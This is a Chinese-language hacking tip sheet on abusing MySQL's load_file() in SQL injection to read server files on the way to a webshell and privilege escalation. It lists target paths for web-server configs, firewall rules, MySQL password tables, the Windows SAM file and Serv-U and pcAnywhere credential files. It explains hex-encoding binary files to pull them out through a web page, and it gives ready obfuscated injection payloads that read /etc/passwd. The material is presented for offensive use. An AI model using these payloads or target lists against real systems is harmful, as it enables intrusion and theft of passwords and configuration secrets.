MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件,如:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\my.ini //MYSQL配置文件
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件

等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码

等敏感文件都在此列。

MYSQL帐号权限足够高的话,理论上load_file()函数可以读取任何文件,只是因为浏览器的编码不能完全显示二进制编码的文件,从而无法把 load_file()出来的二进制文件存储并加以利用。其实这个问题很容易解决,只要用hex()函数把用load_file()函数读出的二进制文件 转为十六进制,就可以把二进制文件以十六进制编码的形式完全显示在网页上。把这些十六进制代码复制下来,用十六进制文件编辑器编辑后另存,就可以得到完整 的二进制文件。
1、 replace(load_file(0x2F6574632F706173737764),0x3c,0x20)

2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 "<" 替换成"空格" 返回的是网页.而无法查看到代码.

3、 load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

4、/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件

6、c:/Resin-3.0.14/conf/resin.conf   查看jsp开发的网站 resin文件配置信息.

7、c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径

11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件

12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上

14 、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

15、 /etc/sysconfig/iptables 本看防火墙策略

16 、 usr/local/app/php5/lib/php.ini PHP 的相当设置

17 、/etc/my.cnf MYSQL的配置文件

18、 /etc/redhat-release   红帽子的系统版本

19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.

21、/usr/local/app/php5/lib/php.ini //PHP相关设置

22、/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini